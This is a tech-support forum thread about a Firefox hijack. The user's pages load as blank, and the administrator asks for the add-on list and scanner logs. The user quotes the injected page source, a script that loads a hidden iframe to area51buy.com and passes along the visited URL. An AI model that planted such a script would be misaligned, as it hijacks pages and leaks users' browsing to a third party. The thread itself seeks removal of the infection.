ToolsLib

AdwCleaner was unable to fix it. MalwareBytes also did not help. When I try to open gearbest.com in firefox I see a blank page. The source of the page:

<!DOCTYPE html>
<html>
<body>
	<script type="text/javascript">
	var url=location.href;
	var ifr = document.createElement('iframe'); 
    ifr.style.display = 'none'; 
    ifr.src ='//area51buy.com/'+'#'+url;
    document.body.appendChild(ifr); 
	</script>
</body>
</html>

, on Disinfection

Re: area51buy.com hijack

administrator
cocochepeau,

Greetings,

Can you give me the list of your installed addons - in Firefox?

Also, please share the AdwCleaner/Malwarebytes logfiles.

Thanks!

Re: area51buy.com hijack

Simplex,

Thanks for replying. I tested it with all addons disabled and the problem is still there. Both AdwCleaner and MalwareBytes tell me that "no threates were found".

I created a new clean Firefox profile and that problem disappeared, but I would like to be able to remove it from my current profile (to preserve history, open tabs, etc.)

I can send files from my firefox profile if that helps (I did a full text search on all files in my profile for text string "area51buy.com" but nothing relevant was found)

Re: area51buy.com hijack

administrator
cocochepeau,

Hello,

I can send files from my firefox profile if that helps (I did a full text search on all files in my profile for text string "area51buy.com" but nothing relevant was found)
Simplex, 2017-11-09 12:10:12 (UTC)

Yes, please do. I'm sure we'll find a solution.

Also,

Can you give me the list of your installed addons - in Firefox?

Also, please share the AdwCleaner/Malwarebytes logfiles.

cocochepeau, 2017-11-09 09:28:05 (UTC)

Thanks.